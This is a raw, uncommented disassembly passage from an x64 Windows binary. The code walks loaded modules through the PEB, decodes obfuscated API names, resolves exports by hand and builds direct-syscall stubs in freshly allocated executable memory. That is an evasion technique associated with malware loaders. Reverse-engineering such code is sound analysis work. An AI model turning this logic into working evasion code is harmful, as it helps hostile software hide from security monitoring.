mov dl, byte [rbp + rdi + 0xb1]
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + rdi + 0xb1], al
add rdi, rbx
cmp rdi, 9
jb 0x14002342f
xor ecx, ecx
mov byte [rbp + 0xba], cl
mov rax, qword gs:[0x60]
test rax, rax
lea ebx, [rcx + 0x11]
je 0x140023a0b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x1400234fe
lea r14d, [rax + 1]
mov r10d, r14d
mov rsi, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x1400234d2
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 0xc]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x14002355a
mov rax, rcx
lea r9, [rbp + 0xb1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140023553
add rax, r11
test edx, edx
jne 0x14002353e
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r8d, r8d
test dil, dil
jne 0x1400237d1
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x78]
jne 0x140023488
jmp 0x140023a0b
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400230a8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400230a8
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400230a8
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400230a8
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x1400230a8
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x519]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140023616
inc rax
test edi, edi
jne 0x140023601
xor r9d, r9d
test r8d, r8d
je 0x14002362c
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x1400235f0
jmp 0x1400230a8
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400230a8
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov edi, 1
cmp eax, edi
jl 0x1400237c8
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 3]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.14008ce90
or dword [rbp + 0x20d44], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1f9c0]
call fcn.14002ef44
lea rcx, [rbp + 0x1f9c0]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x1f9c0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x3a540], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x1400236d1
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x3a540]
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf04], eax
lea r9, [rbp + 0xf04]
mov r8d, r14d
mov edx, ebx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x38]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rbp + 0xc18]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xf04]
mov r8d, dword [rbp + 0xf04]
mov edx, ebx
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400b4da0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
lea ebx, [rax + 0x11]
jmp 0x1400230ac
mov dword [rbp - 0x60], r9d
jmp 0x1400230b1
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140023a0b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140023a0b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140023a0b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140023a0b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r8
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140023a0b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x471]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140023862
inc rax
test edi, edi
jne 0x14002384d
test r8d, r8d
je 0x140023875
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002383c
jmp 0x140023a0b
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140023a0b
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x140023a0b
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.14008ce90
or dword [rbp + 0x220d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x20d50]
call fcn.14002ef44
lea rcx, [rbp + 0x20d50]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x20d50]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x3b540], rax
add rdi, r12
cmp rdi, 0x200
jl 0x14002391b
mov r12d, 0x1000
mov r8d, r12d
lea rdx, [rbp + 0x3b540]
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf00], eax
lea r9, [rbp + 0xf00]
mov r8d, r14d
mov edx, r12d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xd88]
lea rdx, [rbp + 0xdd8]
mov rcx, qword [rbp - 0x40]
call rdi
lea r9, [rbp + 0xf00]
mov r8d, dword [rbp + 0xf00]
mov edx, r12d
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, rdi
call fcn.1400b4da0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
lea r12d, [rax + 0x10]
mov ecx, 0x1000
mov qword [rbp + 0xd78], rcx
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xd90], rax
call fcn.14008d174
mov qword [rsp + 0x70], rax
mov r8, qword [rbp + 0xd78]
xor edx, edx
mov rcx, rax
call fcn.1400b4da0
mov rax, qword [rbp + 0xd78]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0xd90]
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x530], Ordinal_79
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x531], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x532], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x533], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x534], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x535], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x536], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x537], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x538], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x539], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x53a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x53b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x53c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x53d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x53e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x53f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x540], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x541], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x542], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x543], al
mov r9, rsi
mov r8, r15
mov dl, 0x79
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + 0x544], al
xor eax, eax
mov byte [rbp + 0x545], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x531]
lea rcx, [rbp + 0x530]
call fcn.14002e778
mov byte [rbp + rdi + 0x531], al
add rdi, rbx
cmp rdi, rsi
jb 0x140023c9f
xor edi, edi
mov byte [rbp + 0x545], dil
mov byte [rbp + 0x30], Ordinal_32
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x31], al
mov r9d, ebx
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x32], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x33], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x34], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x35], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x36], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x37], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x38], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + 0x39], al
xor eax, eax
mov byte [rbp + 0x3a], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x31]
lea rcx, [rbp + 0x30]
call fcn.14002e000
mov byte [rbp + rdi + 0x31], al
add rdi, r14
cmp rdi, 9
jb 0x140023d9e
xor edi, edi
mov byte [rbp + 0x3a], dil
mov rax, qword gs:[0x60]
test rax, rax
lea r14d, [rdi + 0x20]
je 0x140023edd
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x68], edi
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x140023e5f
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140023e33
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi - 4]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x140023eb8
mov rax, rcx
lea r9, [rbp + 0x31]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140023eb1
add rax, r11
test edx, edx
jne 0x140023e9c
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
test dil, dil
jne 0x14002439e
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
xor edi, edi
cmp rax, qword [rbp - 0x78]
jne 0x140023ded
mov dword [rbp - 0x60], edi
mov rcx, qword [rsp + 0x70]
call fcn.14008cef0
cmp dword [rbp - 0x60], edi
jl 0x140024803
mov byte [rbp + 0x4d0], 0x51
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d1], al
mov r9, r15
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d2], al
mov r9, r15
mov r8d, 2
mov dl, 0x46
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d3], al
mov r9, r15
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d4], al
mov r9, r15
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d5], al
mov r9, r15
mov r8d, 5
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d6], al
mov r9, r15
mov r8d, 6
mov dl, 0x56
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d7], al
mov r9, r15
mov r8d, 7
mov dl, 0x69
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d8], al
mov r9, r15
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4d9], al
mov r9, r15
mov r8d, 9
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4da], al
mov r9, r15
mov r8d, 0xa
mov dl, 0x75
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4db], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4dc], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x6c
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4dd], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x4d
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4de], al
mov r9, r15
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4df], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x6d
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4e0], al
mov r9, r15
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4e1], al
mov r9, r15
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4e2], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x79
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + 0x4e3], al
xor eax, eax
mov byte [rbp + 0x4e4], al
lea r12d, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x4d1]
lea rcx, [rbp + 0x4d0]
call fcn.14002e7f4
mov byte [rbp + rdi + 0x4d1], al
add rdi, r12
cmp rdi, r15
jb 0x140024124
xor r15d, r15d
mov byte [rbp + 0x4e4], r15b
mov byte [rbp + 0x90], 4
lea edi, [r15 + 9]
mov r9d, edi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x91], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x92], al
mov r9d, edi
lea r8d, [r15 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x93], al
mov r9d, edi
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x94], al
mov r9d, edi
lea r8d, [r15 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x95], al
mov r9d, edi
lea r8d, [r15 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x96], al
mov r9d, edi
lea r8d, [r15 + 6]
mov dl, 0x64
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x97], al
mov r9d, edi
lea r8d, [r15 + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x98], al
mov r9d, edi
lea r8d, [r15 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + 0x99], al
xor eax, eax
mov byte [rbp + 0x9a], al
mov edi, r15d
lea r12d, [r15 + 0x10]
lea r15d, [rdi + 1]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x91]
lea rcx, [rbp + 0x90]
call fcn.14002e000
mov byte [rbp + rdi + 0x91], al
add rdi, r15
cmp rdi, 9
jb 0x140024265
xor r15d, r15d
mov byte [rbp + 0x9a], r15b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140024803
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14002431c
lea r11d, [rax + 1]
mov r8d, r11d
mov rsi, qword [rsp + 0x60]
mov ecx, r8d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x1400242f6
mov esi, reloc.WS2_32.dll_sendto
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r15d, r15d
mov byte [rcx + rdi], r15b
movzx edi, r15b
cmp qword [rsp + 0x60], r15
je 0x140024376
mov rax, rcx
lea r9, [rbp + 0x91]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002436f
add rax, r10
test edx, edx
jne 0x14002435a
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x1400245dc
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x78]
jne 0x1400242bd
jmp 0x140024803
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140023edd
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140023edd
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140023edd
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140023edd
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140023edd
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x531]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140024430
inc rax
test edi, edi
jne 0x14002441b
xor edi, edi
test r8d, r8d
je 0x140024445
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002440a
jmp 0x140023edd
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140023edd
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x140023edd
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.14008ce90
or dword [rbp + 0x23464], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x220e0]
call fcn.14002ef44
lea rcx, [rbp + 0x220e0]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x220e0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x3c540], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x1400244e8
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x3c540]
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xefc], eax
lea r9, [rbp + 0xefc]
mov r8d, r14d
mov edx, ebx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x38]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xefc]
mov r8d, dword [rbp + 0xefc]
mov edx, ebx
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400b4da0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400dd364], edi
lea ebx, [rdi + 0x11]
jmp 0x140023ee0
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140024803
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140024803
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140024803
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140024803
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140024803
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4d1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002466b
inc rax
test edi, edi
jne 0x140024656
test r8d, r8d
je 0x14002467e
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140024645
jmp 0x140024803
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140024803
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x140024803
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x247f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x23470]
call fcn.14002ef44
lea rcx, [rbp + 0x23470]
